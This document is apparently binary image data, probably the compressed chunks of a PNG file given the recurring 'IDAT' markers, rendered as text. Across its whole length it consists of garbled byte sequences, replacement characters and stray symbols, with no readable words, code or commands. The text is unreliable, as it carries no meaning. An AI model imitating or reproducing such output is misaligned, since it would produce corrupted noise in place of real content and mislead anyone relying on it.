-�6��\^�d\���]��}�D[<�SC�,�G@`Dx/1��\@���+r+�x����/��n]�BM��P&�2U��P�B6������$�����=�L�-c����� @@@��p����>=w����9;���L94��Z�;�8����w�=��_
�����@@`�mA@���sA�,�黿��==��;���*q55��K}!(&$�龠��TT�h�RZ��h��W'���Y��� �q�
� �
�l��ߵ@d�6=�}�sv�#�.q�qI�9��'������zG���D]�p�����!ئ��E�p�&gI��m��#?�i��fU��Q��
� �X�h��
���s.�\��Y߾um��- Kj(�: �P����}0�u&��I�bi;��n}�]o=�Go�p���[gM�9
� � �
(�܂.Y��a�f�����-Z1�VRqK
FC)h(�rU� �"�/ܒDB����
�\�S7�k@��@�X�J��Zq�2�� }�e�6��4���&�9�>
�(@ n�x
��"�ܚ�y�����K��hIò���*�I}u8��p�垠� 8���XZmg�[5���Kg��5�Up�
� �
�l�\$ko���~9�w�.�n]�8�����"r����qVUR��K$�,�h^��:���1.���Pq����5q}:~��=ξR�8�;"��TՎl{�
�4���F5ڌ ��0
870�U���~��RaU>
*J(~P���FN�@=�@�5��Jgߌ�?�_��&3�den=�mC@@G��m�ӭ�����n��&:W��Ҡ(6U �T�a$ij�e�8��I$z�B��q�3����}|��TL�Yޱ��7�v;��D&t��H,
�
���C@@�/ʮg���_w��y��c��&�1��:��G��֯���Xa˭�@� �U+��}����מv�G~��i�4��E@@>�������G}~�[�S��cR-f�Z�B���ٖ��ID4��&Y�R��LQ毆o�83�&�b��8�%�Dz��^{��>��)KT��b�@@^E�@�
���@խ}�>r�?=�=�����@��)���Sp
�@s ��|6_�֙�^u�v�_]���K��"� �
���s.��[2��/�ۗh ��4�H"E �H\�_�
'�ĊJ�q�U*�Y�8u�s�87�'P�%6�*�ێJ)������}��~AU��6gF@��"@
n��$�@@`38�L�,;��;��啹{ą������'��Lt�MFX緢
��9
&��>��1�O>��Բ�/U��4X'h.
� �
�@ԶM]�}��?�J��Qm�v��%�E���&}�E�ik|K�$���F��U�,�Wu<�4
�WP�_���HI:�^��釟}���2GU��!�
��%@
�{@�H�9��£��~�'X�e�+gb1�H`I�5>G
��n���zF�R�����G��&�n�U�*D �
�
�lN�֎�O]w�������.�5Ҋ$���%Iz�����
�F��0{Ϛ���9q�s@8#(�_��9 �@|u�X;l���)��,����F�9\
@T�@\��F@`8�s��2����ߨVMM��M�
��r�/�S3X���1��zP8cs�O�������VU� Y@@@6��s./+�<aş~��by�amAU�qN�\$IڛU�3i{{K�>MŤ�,g�O�j�VT��lC1��um��ĕ�$�͖�+��s�'e�T;W�Xc�
�4����:�
���pnM����w��o_Tί�`�X��Ί:�TM6�X�L$��G�3"P��E�V��7���?qy�N���[L�@@@Q�9g���ao��cҹ�,��"cZ��Z�{$�ˋT���"I8�ˋ�0�fq�B�W�8��������W��ټt�
n@'����_���Bu�f7�� � ���^ۈG �
�4n�yk9�?]��J~m�U�*VB�f��V��5�MAGXO���ջN��w���u��!�
� �
0�:w����C��NmIWw9I�]�&MZ��&a�8�bl^�Y
��A8t��pN�S�]��lQ���Xɻ��Y��ߓ����ԅ�y}
��C�@��Gz�
��f���;����g�;�������$tiV��|D·�j�8h&c�6�t,:����}&u}��[�L���
� �
�#'�ܒ�����X�ĵgu��m�J"Q.�Tc��IhY�- K��gr�@����Bq�`�j�F�+!�y|
ΊH`�h��Ӝ$AG�������%�i�m�+q@��F���7@^���[~���^s�S��>��[gą���$;S�a�B���)���-�a��~����f�1kGG��
� �
�@� 8��.k�{��ۿ{��p�q�$a.kD��Jd#�$�f�7�"Qg�p.����Q�=���_⌉$
Z��-�>5�O~Pu�C�}�
��.@ �����
��z�n�1���?[?zL5�U�[Q8�����b�!�chb�
-�a����&�w�j��9�: � � ��0
8�B�<s�қ��G&��w���OQ ��m&&�Qf�8��#7�CéV�z����&�*�-�S%��-O:�N�p�٪��q
� ��(@
��@2�Y'/�xŭ���Qo��D`5ĉ�T��݂@SiK��f�����e��U5mj:�
� � 0l�9�����s�}sޯv
rj5�PTU"��|�ME���8������2l�:lĉ&�LU�@T�$�ЄR���X1��y�v�OUk[�p
� �� @
�[@2�\�R�r�M���>1i��@�_���o�*�-S�khJ�
mI�Չw����X��~�l�@@@�E���;ˣמV��G����nU��q�"*��jq�J���ۦ�������P
�W{��H�*�4N{��j� IDAT[��9CZw�KU+#���
��+@ �qǎ�#�
�Y�s�%��i?����oyq�$��*�k$�7��ؘl]m�1�#�Y��!P�.Lړ�n�ߝsħ�ҩ3��&�B@@@�Fp�{�,���k��?���a`MU
b����E]*V#q�l��l�����COۛX�/̶��lEB_���\�T�J۶k���عҵ�m����Dt@6@�@�
�@�A�9�1_f�~��.�h��&H`Q��paV�ީ�:�O.�l���J��c*۴p�;������'���t@@@`���n��s�\z�O�8&��S!(���"-�"�:�K7�+��@d0��C}��-SG|̸
�.�f�>�*�o�l�橉-�)=]���I���M�+7�:�@F����<��
@��!��z'.J8��۾��8�z;gJ��k^��D�f��>W�h"�4_���-O�����mY�D}��
� �
�o��s.���~��+�:�>�w��i^LH�����Yhƚ�V%�o��jQ�Ł�&�_�V���YH�rb+:���M�@��K-�}��zE{@@`d�${d��
�u+0��x�g�97���h�̿���& ���8�0�Q
�WƯ>n�s?��)ܢ��=���� � �
��sN%~a�7��G��FRM��3%}k[�I�W�8_!�@��)�Ĩ�q��/��2�2f��!�t��>Ә}��
� 0R�FJ�� �
P�e׳��Kn��=��J�r����G#��֫G
�·��!0\>�}�[>��7����1k��B�@@@�!��⮟�C����쪂�ڴW$gj7���>�4��bV!�ot�U��@���8�TDR
�:'ƥ���������hn�Í�/Z�
�#)�{����Z
�Ա@խ��7�]��'�sJ9\�!�"��uȶL�wH�W��'�1�����!0q�2a����Y[����}�qΉ
� � ����-�n���ľ97\�bWu$�V)gs�
V����,�pٟ��Oh,�Zu�ږ����J(�������s������{�O�@FZ�O�GZ��!�
P�%��m?���Y�ػ�'�@�_S�+ą���d0gD\�v�f!��p ąʄe����*�<�����E@@@`H��]�r�Ak��mn���0E��d�.'��@�ЄU�N��q
�@� ✈
r��TBM���ܲ��'|�����Y���mdi/
�#)@ n$��
�u,�ﺏ����~t��T��7������N�U�i��:\$MC`��By��)�㓪Z��@@@�apnQQz��K~�)�SҴ��p��,�Y�8�ij��8�2�80��a����$IS�L"U3Fz�]�v�.�`�T��@@���8n@眖dʼn��/~�'\��8P�I��Ӈ���@��l$�-�@�
ą�ė>t��=Q�ZU�&u�� � �
�#(����NK���;e�t#՜H,fp{T'A�Q��F�@��"7��ĥجN�a�Z��$�q]�Z��ӌ�>��FUM6�e9
��*q�j8�
�'�q}������-;4�*"�n�*��,W�X����8@`T���/�Xk�����ɋ?z�W�=F�~�@ܨ~:�
�
�ԍ�s�H��mW���m���M���؊��7�&k�q�bQ~ڊ@\�
A`�|�5ĉ���R�v�/�蔃�Oi��zU�n��y
�4��f7�0�I@^]�9�ȋ��.8�����$�E�J��V�&����d����{
��.��p� �e_~�����z�WO'3�hm/@@@�U�/�Y0���K~���GN��4-��;d���W�˶P%7��� �@DR�H3���@��K_~���|�J��שjy$��5@@�1�4�1ǍV#�
�Y���d�/��K�
�W�5�,�L�?,�Y
Ή���L�Z������1�x����:d��Z[zρ
� �
��08��w_u��~�my]3Ƥ%Q
��S�@����q��B�0�G`��@�uₜ8I$����Ezs�<;�_$]�BU���!\@V�@\�
G@`� 8�
��ӯ������ZΥ�s�[��m�Z�>�X����Lԛ���ch�T�}��xʜ��?N�-���Q�=
� �
���pn��C�^X]<��tOlI�E�4��N���~M�V%��j)�:G�MA�F�����f%Y��DW���'���)����d�ۮU՞Q�@�@@`��mOF@`t8��mq��s����*W�Y5��¿�91.�rpY.�:q�c��G�q���9�<�+'� �q�
� � ����s��3��[���+���+�s�rT
�]
��~q��U���@���B`s
���Z .q�B܀TLQօ3�O��'��j���yM΅
��K�@��Oz�
��F 8��c^����o�QiY�{��N��@\:X!��T\���%��͓�s����
5��|���d�s�<�+'���A�y
� �
��(�sW���'�~�o��[����qV�9 �
q"I��!�Z(�O`�@�sU��,US�5����o��C�Qm[�x=��
� 0R�)i��
�@8�3�u}����sZ��f窩m��q&�25�Z�.�9qu<�4
��X?7�P
��:���Փ�2u�}y& � �
���pnY�,�}��?^��Vyi��V�ڂX %5i�Uj���,7���X��4��P
ΚPDb��T���S�r�we��W��,n���b@)���4�A@��z]�������g��j˺�S�Y?�h��E�K�
q�>��xHi-�J�8cL�=�B n�ey" � �
���
8��(+�z��{��NY�SޔM�|
.�$�ټ�d[��f��m�7�C��s
.�1W��*���:�t�|_��cծ�ot;�>
�ԯ���Z�
���8�t@VNydٝ��빟�ԯ��r.ʂo��"�f��0Y�@܈A�
���|(�Yke�~�Զ���>|�W���
�E@@�U���Q{f��+.���S1q��D�ԕ�0��9��YV��p�z����
�:1A ��l~*
)�N\�kE�v�].;��*��ώ���@q���Y@h�+��-�]t�g���Kf��P�ΈJ"�V����2qԇk���l���ۥ�3�@\Ku��8��'u���'
� �
���s.'kf��+�����uA)�g��|g��Dsb�6��N��=9@�T�t�1F�.��:���ĩJ�o�.nw�e��^�:��F�mF@�����8s@�V��z�{�{���/�_��qհgb�yqu;b4���a��ï��1�R�LZ����ı2�9UM��%\@@@���s��Kf]q��`���4�_�Ɂ
(�Y�տ��f��\X�$Uqa~M��}���κRu��
�9��
�#$�����2
�ԫ��Ud�v7Ϲ�_]��wT�� b#q�:`��X?�L<�-�I�?x�'L��Q�x��%@@@�Hz���^3��ߓ@7�\
�Y�W���$�Eb J��ݮo��.�h��\��!�
��&��<��
��h����7O��s�����8�+6�7�8?aW־�
����P(n�@\�<���'��O���A@@)�\(処.��>�.�+t�B�L)}�������_��_E��
q�5UӍ]�|�R�f�2�-� � �(�e�h'
��$�3��b���O����i��C_ĥ"jŪ�V��q�}_[�ǁM$P͗�-��Q_x��� U�4Q��*
� �
��(�d�I�n������{G���8�L}G�K#��FURk�.����PR
c۹�
�~�Rխ �m:5g@@`�
��CK�@�0��e{^���/|����\�\T����E�ρ86�L����#�a�<
�Q#�㖜y�gO����FM�� � �
�@]��@\6o�G`u=�4�W�$ME�Z0θ@T#qa>��nsc�A��T��~"
� �J���@@��|
�$��齗\���5m�B��2��U��Y�8����k�[��b���I�u��q�ܵ�̷}��-íP��?� �
� � �@ ��@��h�h
!�\��&���m�
q�D�Ժ�M���%n�ۍ83OA@�&
�$M7@x%��@��e���%]]P)�U��q��Rk�8��#��@
$�jW�{�;�S���K��4�]F@@xĽ�\�7P��F[��+�~^ڈ���\_�ŬIG��5��o`�4
�Թ��: ��
��p⮼�[v���5uyQ�ɖ���1�4�@��v�~�[N��v���v���A�M3@@@\�ρ�ˮ���;����ũJ>��8�Dsb�Q�Lm����.�~
.۽�i�s&��h�` n��݉�#�
��+���@@��j���^q�7| �R�6�~ �E
�Hm� ˖�M~���H��u��pܗ��q�/[tڢ�T�� �
�
�#.���ؤe�\��1�ܽs��8�L�1�lN�lV!���
�͘5���[�R!ns�s.@F���Q6�t@��+�W�����=�T
{r�j[��B
��xF����m�L�����?(��FmO� � �
�@] d����[,��ҟ�����8*����^��`E8�bՊ��*qIo�@�����
�4����wz�
���>�'���o^�m�:���j�8�e���jO�B�M(�rqk25�������5�]F@@x�s9�{`�e���ʮ��=�/x�-S����D`s �\-�"�W���m�ڗ�1k��L�����y@��F��-@6T`(��Y>�āI�/��*ĩs�֨��:���0R��@܆��8F�@.)&c�>�|�����7��
� � P�Y
n�;,���+�*sw/���ɉS�|�q"��Ċ��JD ���`�2^S�6m�*Ľ��[���͘5�q���@hrqM~�}@�:��#gs��@\����q>ǁ�$�K
i���=���k��Uմ��O_@@@��\^V��?�����\̫��2��(���fx�@ܖ���Y*�mkN�
��� 7zǖ�!� �AC���g}ゕ���:��e�m%�G
n�Py�T ���@�����/��7ߡ��Q�U�� �
�
PGι���g��{vqkiΛ�aɔ5��Y�6�*�Y ksX~g�"Nw:���������~��np�T�{�y�f��E�
�@��k�;��#�4�@-���g}�@\��
�����|R|�䷝���cnQ��@@@n疵���[�ǟ�W[�pǜ�4��X D4uN�3Y3|�ƩdƇ`�=2����6�
���S���d���/�լ�G�*�
=gE@`��^`�%A@`�^�B��˖��˳eF|$���O�h��ئ�l�u��
� �
�ԡ�s���w�z�W����䵢���p�I}-)��o���ot�"F������$x
'֥b�PR��T�
�U�sm��-S �q!�
�����A@���q?�����&��H\��=��e�l� ��-S�Ql�[��7����]�{�����!3�EA�7!]F@@a�Vw�ܛ�\����U�͌�,���I
��I8���U��o���#7����,��D�������f�8�ĶH_n�Y���6�5'A@`�
��cK�@�
�땥�_y�7.��'����X���ϦqC[O�iE?�ȁ�%`\�r.߷�.?�͟��U[i.z�
� �
�F8�d|��?�?��3��|J���\n0�F����V��N��ވ��l����x�H��m�����m���6��͜5��|_í����t@��F���5@6D�9gJ�|�+��W�㇔�u�Z
��@���pJ
nCly�M�8�41���8���_�&��V���6��@@�7�O��%�~gA��[q�8
�foK���\V!����[Ohl�@�U�X#j��W��v��os�ģ?u��[��G!�
�@3
�k�Q�� ��'0���{.�p�}�r�6/67X!.��
q�}h^��D\�l��s���{d��U5m^z� � �
0�-�����.��={`NVujZ�0���������"V čĘp
�S��[}��Ī8_!.�%M�~&��R�wc���k8���l�F@��
���G�@�d��qw_�+�گ��ꆶL�9���L��(�I�L�dzN�@� ���H!�p�iG|�����nT�R�u�#�
�
�4��sNEn�����Z}a�Hz[ĖŨ�l��,'b�ͶI%�0CKCxE��U�L��>Z1Z�m�j����~�u�G.�h��!D@^I�@�
�M.0�����~q�{��Y�7Z̶LU!���G�T�3�;<���l��=��ЎU0!�
� � 0\ι@�s�[r��K�
d
/�"&[��q&�������2u�F��"02�zl3�Kk�8���ոm�;9�R���22��*
� Ј�q�h3
��Q��zd�^�����[w�a�X*��KV ��@\m�d3��2�T�ی���hk����{�8��y���t��
�|�
� �
�pι�<������n��@�H%���UV�,�SuY�@\�
3
F�/�����K%�b�6ɦ
�dl5n��Ʊo��&��A@�W �́
�@��m'�e�.�y��?���#�\_��9��
qj�f8���n��W�3h.��B��ۦc�_�{�3�ߥ�<�\�@@@`$�[�*}��{?�Е�Ӵ��uq�'�8�U�R��9��_��4��J
~Kd�q&tbmI�%�Jҵ�����F�h���b@)���4�A@�N|
�*�v���ۣ�o=���S�����J��':�#W�CJ�6�ڶ3N�Z��u3n8���8�NU��KÁ
� �
��fpn�X�~�m���;�r\lmF*j�Y��J.�e;V�#����!0���J|��DS��ueS禬-L�'��g\��.i��p1@K�@\c��E@`��@\EVnw����7��b�M�0�KD�&Gm��>����lű�
IDAT$���u֑�t��{��V�4@@@���[2�>3����n����ݚ�8I%��@\!���Y�lA'4����*bTRcE+V�"�*�MYٺ�W����>ٸ}��
� 0��+naΏ
�@��@\�to{ϼ_�˟��j�n�����|7�
q.�q�
S�|\i�!�J{�D�ȵ$c<v�S��R��;��
�
P_���`����Q�H4�U.�s�B�]Dl�T�)�kTu��zCk@E��E�.��O��b�*��6��əJ����Eq��_�Y����C���2ƴ��|�U]����Њ3���,�%I�t������M'\��r
�
��+ ���@@����Z�d�������_��j�v�؈@\��t��'��6U��t�]�x݉o����-G@S�Bn�����
��'�>��5�R)(��9s�1�t͟?���%�����w+
�����:붶��gU}�@6\�������/ML�<��� ]�!դ*9S����%Ĺ�@\��.�q��6\�G"P�5l\
�9�Q-�*ֵH%��l�n'\*۾�Ǫ���Ŵ@�Q�@\=�
mB@`������?y�3??����Q�#7�c��h�KM*�)���ֿ�����������s
� �@#��m��[ND
�J����?h�V�m+W�l����|�E3֭Y���Oo9������#�\p�wNoii���I�4��L�817s��r�|�������7�j_#��F@��p΅R~�������g�l���?ɋ ���?X!�U���@�8�q8_9�@\��#-A��@\
��I,��� Rq�M*��E�{���~�5�-/����X@h.q�5��@��+��Oz��ޏ��5���탠��0Ί��6{���"�-Sɾp;!�l����Tra^"[��ڎ{>���0F��_��,8@@�
p�jnCۗ�E�p_�1���r�J�����muww~moo�ܹs;Z5��Qk�\�y�6U�'q�19�\�1&��%���+�� �PT��$��r9q�I2e����j��c?��������
YI��
�Eh
�Pέh��/���k�4&~v�b0`�������}�@�����`e8?E
����"�*��$�c��I*�A"VZe
���}�-�Ⱏ��-@x%q� �
���������*ŵo�M���
m�i�k`��H~U�8n�S��h(�8�|!g�r�c'��o��ݯ�͖�s
� ��0
��|���[�Tj+���mE>������T*-}==�E�^j]�xq��+�z�I�r5g��~���5k���m��[!�͵9���s�7�j��Ev�0�8���|��JU�(��_�ժtvv�ԩS�����������c�������"2��0�
���M��w�k��_�k��0�&���9��*�-�t�k�N�W����q�`��QxKХ&��r����Ċ1)ۜ�i&t�˸}�ڱ� 8�"
�l������i
��&�Vu,������3ʅջ�����@��v����Ģ���B�h��&�ѼT�X4�Ĕ���k����ϫnWٰs�(@�{�ۘ��:_�fhSTk�������ѳfM��u�/,\4�\)w��ߎ�b�z֮-^<i͚�������i�)΅j����\
�>��־z��Ħ/���oWU��M�$�
\{{{��a�r��i�1ˢ(����_��z�%D��
�z�[��<qé�sf}"���G&�8ɉ �:��3�m�(VB��3*VL��A-ǁ�&�_�i�J$H���q%Io0mޤ����=�窺��F{@@`�č�5WB@�n�sm�+�s�_?�T\�g����@��F
ąY�8qu;�4�a�Eb"I�_BR��3[�t�I�}�x١�-І}�
�@���|k���_�dM����mL�|>�2o���������g�#?���ի�%q�v,Z����1AD�J�%��B�R�
�Їے4��4UR3�d���Z������[�R�bKK��rY�(ʾ��
�9��t�9�:\>��[�J�X̪������kiiI��k�1s?��;N9�k'M��
2�4@�\u�^k���h�Sg�tU�q�&6
sb��_j�i��_�i���lP��
�Q���4u���*%�KO0}���μH��VU�6�< @�B�@\S3�D@���s��铧��8�T\�%����@��4�'���⸝hb#֪a(��$��3��̹G~�c��˨��ķ]G��p>�6����L�Tʥiڶr��N_����!M�iw�}���ry�ߺ�G�AUs===f옱>�f*�r�q��i�\��n>Ȗı�
Ȃi�R[�$YP����ަi�X�w�Pc|C_�އ�^�B\�Y�7��P����3FZ[[��6�P\>�wk]r�������q멧���|>?��x�
���l��d���t�G�˒�5^'FRH�TT}%8�KD���Y�8#6[�Ɂ�*�7�8�� c���E3��t�Y_����YIb@@�� ��@@��V�J�}��7}��ʷƑ�S'Q��N$5�b��Z��A�T��I�P�R\��˧-���y�?�k�����iF��
�<�o3Z����S`��
"9 [7vժU��ڮٳg������Cmo�
�(j��{:E��
�B�9W��8AX(���?_,�Wx���|��$Iԇ�|-�Y�>���}i.���@V
·և�2z�����e�8�}�TʂrY�=I�ݫ�B�?�Pe8_
nܸq����};���
"UU]r��G_����߽�{>)"KU��<w
=E�ι���>n��/����pW�H�"&�!�T���Xg�W���L5�_.��#��1�����@���(}���t�Y_���ϗ#=2\@����@c��E@`X�{=2�����(t���Z��D-�W�fpe�|X�O7��vX��"P��J3Q>'��i�:�mծS���;�sq��[T�ͧq
���@V��x�U݊�_]��$I
�ھ`���(����&d���b��j5x�ǩ1����|KKK!�˵T*�._٭T*E�|>��v~EJ������*�
�|`�{[.�$��g?�U�\V�.��*l�b���7���``.�e?���݆*�e�W�c�m���IV�_���-�
��ё��r\.�K�4]���>��[O8��uvv>��ں�+y�!�l��s�d��Y���;&X�W
��]�R��5��N9����,�u�6���
P7~��:+F�i$j�hP��&��m��Sro����u3d4@��
W��B�@Y��SI^zϷo���
���U������o6+��q����Fv|�u%�S�j$I��U�*���������>�%ӞT��'�
�ԩ�`�͇�|e7��&"�r[�$I�^�LӴk�
�/��B�SO=5iŒe���R�c�?��i��� njۑ�q{�\n5�DA�Xi1�1><櫼��4>l�CkC����nY��Wjkiiɤ�����*�
mS�~pm�Z��c}(-;���>gLv_�͇�|(�W��U��j5�c�J�k���|E8��m
�
���$��w��ݏ�ax�>�Y"�@D�Tտ��@@�u��m�����Eן��V�0�C\*DUI�XLV���[�q���}��~�N��N��$����"A,A����o���H�7���3nhi0
�#*�����b
��{09��N���0ys�"Gf�A�YH�0ˤHKT�$[���}���l��N�K�,�6�@*2� �
2 @�ȁy�yR��站�
�X`v��x3;ӡ�Ꞟ@J�@A�;0�__��/f�nə��Of���Q
�qk�
6Nդ#�a(;�.Y��{+J�+��r������W<&2y���츠�
%C��k���zGzc�,�Y�\����{[Z*w��Y�z�P��
�2)�k֬�q<�*��G+�*b=���a��H�J��X�X�pG�
�i�Yb�,�2�4Ec1�s�b�R��,�>,�q�6���y��8�Z(�����ai��0�)g��p[<����[���]�s����m�����i��L_
h����SMM���rBv�����o��W�r�W�!�w!�E����E@9;/ۿ�?2;_�'t�l���'ifH�����X�+��2�B
p�Y�r�[`}1��
P�B!�cB*B��0}J��+q�+#o|��<�e>-��L
�A�J�P
8�r����[Վ)n$k��%�ɢW���1��!���5z~@�������tE���>������L\�[ʐ�
0���o��X�����iN9�?����C�jv��ݰs���+�/{��F��k�\}�
�;��S�6��ܤ�u���P�X8;��n�ŷp:,Ա&��}��%<'��_(ﱤ7j�h�(q���y�4M���a�gΘ��;f�~����m"����3�K�MZtD���[w��Kq����2+UPO��4Ҥ�n�_۾�I%���z�8ZXP(,��?���x
�O��X5*h��ɚ����T@@@��p7���
��-Yu�_,��wgߙ�3��J:d�q�ah!N*�8V�����
7�HJ"��H�N�fJR"�&V_��YW|�4bn�7Q�
��bzS���[���#�������ۻ�n��ݣ�.Y4����&�N}k]S.��W�T˞��0��<3��Ύô,��W1�)���kdG�fv�bZ�d��Q�8ݑ\X��==:B]������tD���F�"5
�e9N���8ի+��u������͜9sQ,�OD����X@@�7�vD�{ZW��sQo���� E���80������J�
�Z��/p�rU�p�
#���4G��u�GO�*m�y�|�c5������uC�A@@N�8}��%(i�j��ٷ�����_z_��V2O�jP@fA�#�Q�f�tuP8��
F��|�(�r���)�oZ��i_�N#���93��:A@�&�b�7;��|*�$���d2�����r�W�Ѱ��u��=�����6oNuuu&�ɔ�䝘iI��l���H��5r�,��q�z�S�r�b�3���:�)�=��dŴ��Α��vy�P�;�Z��N�]L����kN�:|�pJ$:���z�b��.�Ԧ�ӧ�6eʔ'L����ڄ^��@@@���}{ꂷ_�����S-�S
��W̵�,!NI����A��#�&�B���J��)S���O�X��9n�w+ϛ�S!��3X�r�����Epz8c+
P�r�k�Җ'Y���O�aq<��8
��q.���oI��H�Z��,(Af#�en���~pn�MO�E-Ҧp3`�
0��7��ơ\b��J�P��r9��;����Y�lɒ�}��ս��Zi���S����L����5�l6"��b����7� ���rZr�hg�>?l��hp����x�xY���y��r�����v;��r����z������S$�q��iN�O�48*���;�x�0��=���i��p�mY,
p4����^��7d�;�㲽R(�\��QD*K�c٧7�3\
�GRE)���8�&��H@q����Z�tY
��w}#6��Ѵc0�
e8}
ĝ>�����4��ʎz��?|~��v�c��R�*�<a��B�-��+\U,��D�@`���W�(AJ�$}�"�P}����K?�h�j��&��A@�� �JqZHoJ�r]7!�Hd��5m�m���O�����g��|>iYs��M�4SJ��an�IY�ez�B�Ԧ�����Œ��8Z��Y��d2Z��G.�Ӝx~�/���Bw�|(|�<Z�>��dŴ���Qg9��#�q�8)������iХaа�&����G�s=_6�S�e:�Xl�u�]���ɓ_�馛��.!���Q����1 ���ګw��/W�\9�嘜4HIA�s(*m2�B�8�d!�-d6P���oIb����#p,!��j詽⡯�?+D�W3�@@@�t�w:ic[
P���i\�_�����9��I�`!��� !���
E��K���A���%/PD2A��*"]�3��������=�e��@@�@1ʛ�FV!��o4V���aZ�mmm���T���M---#�/_�hHٰtɲ�~�'<Ǎ��D:��Gl�S��\>��=���4�Nk���,���Ho�S��Yls]�
���Z��T�ь#�%�I���iC��g��Ȉi�by�bZ��d�{X��UWN���y544�4��PX��x<��9�=3g̘;��۟9r�F"j�w}[ˁ��E@)eҾW��c_�����
�� �Vy"K�>Y�"ۋ���t(��*
q��Y�
����@�(�>�/<��4� <��j�j��_���^����ʍ����q��(
���1J�Un�w��K?�b.�z~���0B\��X�`�
PJ�!�y
�$2*�w���dtFV�������'��l+���,
'N�(���Q�̞�+�LF{zz*v��Y�aÆ�n�:~˖-M����kOD�
,�4
��L��a&�k<q
S���Ϝ�4�j���6����|>��ީ>C��e�Pb�}�Q������~J�����w���(���������nWG��/�F�cِ%���F�e/�jI.�����{����7k�k_}��
�CB���/���b9��'�Ԏ���A����uh�pI۠���d�S(J�A�
A|�*�̓`�;���W��3�b�Tb!�$iX�(��ۚn���(R�c!�1�����1@�C���R��O����}9��od�dP@fa<����HpP�E��2$���8՜$�ϐ� YA��%��)E5'%o~r��הhz���
0� ӝr�7����o��4��Wttt�,[�d�;Fnٲ�>�����::��H�^�BXJ)~-9Z[<��۲YF,e����[,ӂO����s(���,˅�M��ŮP撜ƻ�l(|�<|��˱���?\/�v,م�>�s}5�Ɋi}��X�����ǜkkk����p��^)fU<�|���̽��^���K�$�}B�B�a�"��G�7��WOV�4��U^�����$+j��LR�
+���tII�H8:����%9w*"�
P;a�
0��莒�h_�iD(~��|�i��$�g/�
��l�@@�qC�Q8iJ)�������W2�]��f�d`�T���u� OHRB�T|MF�IC�
@`���tf<>8$�
�gg�'��$D�Hvܫ����o��spqr�50
P&�Rq�7>�W�dwwwEOOO՚5k�V�^=���խ��Uk�\S~�ϫ���"5��QXW8�י
�]�Pߒ��9�"�W�����MW�Q��S��r*����?�m����)Q�)P�(xa�;�s)�JQgg�NA�Q�ƌsXdQ�e�\.��b�n��M�6�G~�h2���"2��6$�蓀R�bԹ�����Y��3�Vi�{��ˠ
�)�6%I������IV��
IDATD�����ep�O�J���D��)�yNx��ݵ7�(6�u!�N� @@@�IB:���@��R��Zf?��?~���r�k���"2��oA:�II2�F[?of7��`&�[�s�`!γ��O��&R�2sMo�»~Cӝ�'��zH>&�3@���Mf�RCDU�:�ϧ�o�^��fk[����/ך�Y�z���A�F�I�4k��lܶ��8S�tE��(^Q:���g:��'#��
��S��4�ˤo��>�&�}�%�
T3�v��ǃW�Q��שO9IA===�L&����4�WG�S���!�Μ9sycc��w�y�B"�JD�>���zA@�$�Ծ��=��W�j2(��X�&
PfxHKA�SdH�N�LUN6z���[��3d5����2��.���~H���H�o�vQ��_.��[����[��"��qB�+LR�#�A��}u�� RT�ϗ&9Z$��'�k�$�E�W}pX��9^�տ�S�~�V�*��SA�����)L�N����Y���Y�jժ�+^_Ѽ{��m��+V�h�hp�mW����RFs��m���(�2M�u�銊��
ĝ�f;�u�%�����)`Y��5���q
���H$�������"�3�˲��7�x��ӧ?=iҤuDt@�w!1#���$��̎�����7����6eR�'�V,
0���t�GT���K�D����D��V'�@@@���w��c�
P��Ԟk_|��_߾�~��2IY��7Sy�J��P08�qah
��x�n����I���c�T�|d�_~���Y�駱}�)�!M�(��m�Glc��d2�a�����;v4oڴ�^xat*��lٲ�t:]gH#!
B��m��tڊF�Z|c���9ZR,Q�#��H�x/������z��e8~��R��������u�Tncno�4U>��h�2e�ꪪ�W|�D�)R��73�
eO@)��5W��T�{Ǚ*��=�r#�B��D@B��R��;>���m��VnLP_�'!�ęa ����s�m��CK�?�ǎ�'2t��B�T"O::��`�2u�T�I@�N��?"��G��K�
�G�D`���d:�r�y�������ZTw�(��@� Ӟ���8�i�q�dKKK�֭['��f;[ZFA0ly�M�L���uuuF>�7Ǒ�HD�e���rZ��D"��&S���G
�hb�ei�����a
B\� ODL��xɾ������Hu��|����N�Z[_G�L��Ѩ���4?�J��3f���.x������
��l9�@@�D(�k8������o+D{�<S�!X�@ʋ@a@&qRz���Dá����_:{�B��)/�-���@@��5,
C�@F��m�}Ϯ����;�I�i
���8!n��?�}�B\@�S)��J5�p$�
F2$U�,/�]k���S7~�ӕ4z'n��I3���&��2�)O+�|*�p��Ć
Fnڴe����FtttT9�S�bŊa��W���ԡC�"�x��
BD�Saf�YQL�)8ڛ�yZ�bٍ�7~�#����e�X,��c���aING��}D�+�ѾĴ���}m�?�ۋ_�W[[K�T�\�����,9�$���7sƌ'��~�K���[��]��tՈX/���GЃ܍�t�~�s��U�~�-IJ��B��r%�{@dx�����j.���i��s��h-W*�7������o��g�9A@@`�P��f��ά_�����G��[�W��qC���
�Q��$G�$"���h!N�12�:�ȑ�ۮ����G�rn��EBT�,��� (�8�i������_�r��={�nܸq��%K�:;;S���/^̑�j�
���r˲�h4��s8�J�m,���B �#��2G���hp,����Ēɤ�ǯ#���e�h%���H�z�{s_B��Hn_�*++���QG��>��vu]�B�6m�Z۶�?��#/�N"�����!J�8��zs��_5���� �pg�9�Y( J(ҧ��91bw��|�j&/���$
�B����4q%�<(���^J�������EZ��ҕJ�dӣ��8N�7EOo)�5�3I�o��8�����i!��#�X!)O�
B5=g5\��i�?��5o:3&(O��o��ŷ
"Jz�ݽ{���+W�X�vmÁR�aD_���]]]u�x���H$b
!x~ɑSXbcq�#���m�-�����ς�����r�,F�<1������ԛ�wOO���xY�g��x�w��q_B��%��H����m�}��U R�l։D"[g͚��sΙ�5�p��B���[�P��j�sׁ�R�LO2U!9nc���@��KIҧ,��9f���?�I����B�v� @@@>�~I�����&����i���>���α٠GJK��
qҰ�|2�]�-�: P~
?��E9����
g��!I�,s�\���N��o4�ًq���zj�F@��*"���k,���|\J߽{���;w�~��G������U�&eҙ;b'�R:ݩR�Ӥ�o��/1�d?7�{=�b�N�
ĝ���>Gd-��,�q�#�f ���Y�pa�@)�r�5M���=�g���w�rUU�:"jCT��ߖ�"���� Σv\ֵ����*_)�_�@@�| (��y��m㶎���w�=q��)_&�9������w��0�����LӞ��x�7����w^Vt�
Hp���HH�|?
!�z�G#Pp=�]R�I���i��@"� A���={��W�a�}�t�)O�D�{`
C�@/�������R���={�v��5v�����l9+�MW/\�p�m�u���v<��dRtww[�eI���iMy:Y��d��B��{k_|������d��e������i�?�Hq�D���*��x<���[nyu ����*++w
